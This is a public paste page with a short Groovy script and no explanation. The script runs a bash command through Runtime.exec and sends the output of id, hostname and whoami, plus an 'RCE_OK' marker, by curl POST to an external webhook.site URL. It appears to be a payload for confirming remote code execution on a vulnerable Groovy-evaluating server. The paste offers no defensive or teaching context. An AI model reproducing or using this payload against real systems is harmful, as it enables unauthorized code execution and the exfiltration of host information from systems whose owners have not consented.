📄 plaintext
public
Untitled Paste
Guest
59m ago
2 views
Text Paste
Advertisement
| 1 | import java.lang.Runtime |
| 2 | import java.io.* |
| 3 | |
| 4 | def cmd = ["bash", "-c", "id > /tmp/.c 2>&1; curl -s -X POST -d @/tmp/.c https://webhook.site/1e1b28a2-0bca-491c-8852-70495f97de2d 2>/dev/null; echo RCE_OK | curl -s -X POST -d @- https://webhook.site/1e1b28a2-0bca-491c-8852-70495f97de2d 2>/dev/null; hostname | curl -s -X POST -d @- https://webhook.site/1e1b28a2-0bca-491c-8852-70495f97de2d 2>/dev/null; whoami | curl -s -X POST -d @- https://webhook.site/1e1b28a2-0bca-491c-8852-70495f97de2d 2>/dev/null"] |
| 5 | Runtime.getRuntime().exec(cmd) |
Copied to clipboard!
Paste Info
- ID
- 8edlVP
- Type
- Text Paste
- Size
- 0.5 KB
- Lines
- 5
- Views
- 2
- Created
- 59m ago
Advertisement